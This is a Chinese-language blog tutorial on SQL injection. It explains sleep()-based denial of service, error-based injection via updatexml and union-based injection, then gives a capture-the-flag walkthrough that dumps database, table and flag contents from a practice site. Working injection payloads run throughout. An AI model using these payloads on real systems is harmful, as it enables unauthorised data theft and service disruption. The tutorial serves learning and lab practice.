插件推荐

谷歌浏览器 HackBar

基本原理

简单的说就是开发人员没有将用户的输入处理好,导致用户的输入拼接进入了sql查询语句中

案例场景
用户浏览商品页面,通过点击商品进入详情页,此时通常通过商品id进入商品详情页面,此时后端会执行语句

select * from goods where id=1;

恶意用户

恶意用户可以在 1 后面追加 and sleep(1000);

select * from goods where id=1 and sleep(1000);

上述就是一种简单的,利用 sql 注入,大量发送该请求,达到拒绝服务攻击的目的!

报错注入

报错注入就是通过页面爆出的错误信息,构造合适的语句来获取我们想要的数据

  • 原因1: 应用系统未关闭数据库报错函数,对于一些SQL语句的错误,直接回显在了页面上,部分甚至直接泄露数据库名和表名;
  • 原因2:后台未对MySQL相应的报错函数进行过滤

Updatexml() | extractvalue()

同样该语句对输出的字符长度也做了限制,其最长输出32位

作用:改变文档中符合条件的节点的值

UPDATEXML(目标xml文档,xml路径,更新的内容)

UPDATEXML (XML_document, XPath_string, new_value);

参数
XML_documentString格式,为XML文档对象的名称,文中为Doc
XPath_stringXpath格式的字符串
new_valueString格式,替换查找到的符合条件的数据

引出报错:由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

案例


此处有我建了一个表, 我们可以通过注入sql

select name from user_xxx where id=1 and updatexml(1,concat('~',(select database()),'~'),3);

select name from user_xxx where id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

union 注入

UNION操作符用于合并两个或多个SELECT语句的结果集,而且UNION内部的SELECT语句必须拥有相同数量的列,列也必须拥有相似的数据类型,同时,每条SELCCT语句中的列的顺序必须相同。

前置条件

1.只有最后一个SELECT子句允许有ORDER BY或LIMIT。

2.注入点页面有回显。

流程

1.首先判断是否存在注入点及注入的类型。

2.观察回显的位置。

3.使用ORDER BY 查询列数。

4.获取数据库名。

5.获取数据库中的所有表名。

6.获取数据库的表中的所有字段名

7.获取字段中的数据

案例

案例网址

xx' union select database()
xx' union select table_name from information_schema.tables where table_schema ='DATABASE'
xx' union select column_name from information_schema.columns where table_name='TABLE'
xx' union select group_concat(*)/concat(0x7e,COLUMN1,0x7e,COLUMN2) from DATABASE.TABLE

案例1

输入1 或 2 等数字查询对应数字的学生成绩,待注入网址

http://123.206.87.240:8002/chengjidan/index.php

刺探注入点

首先我们现在输入框中刺探是否存在注入点:

  1. 1' 报错
  2. 1' # 正常(存在注入点)

取字段数

通过 order by 来看该表有多少个字段

id=2' order by 4#   //下标4之后就没有返回值了,说明是4个字段

联合查询

目的是取到数据库名,表名,字段等

1. 爆字段数

id=-1' union select 1,2,3,4 #    // 因为上面查到4个字段,所有试一下这4个字段那些有回显

说明 1 是 姓名其他的都有回显, 那么我们可以取想要的值了。如下

2.爆库名

id=-1' union select 1,version(),user(),database() #    

  • 库名 skctf_flag
  • user skctf_flag@localhost
  • 版本 5.5.34

3.爆表名

id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() #

  • 表名: fl4g

4.爆字段

通过刚刚获取到的表名 fl4g

id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g' #

  • 字段:skctf_flag

5.爆出字段的内容

id=-1' union select 1,2,3,skctf_flag from fl4g #            //发现skctf_flag字段内容

类似

https://rimovni.exeye.run/hugkudure/well
这里有个类似的,入门的可以玩玩

库名 name= -1' union select 1,2,3,4,database()# 
表名 name= -1' union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema=database() #
字段 name=-1' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name='flag' #
字段值 name=-1' union select 1,2,3,4,flag from flag #
Last modification:October 13th, 2020 at 11:23 am
如果觉得我的文章对你有用,请随意赞赏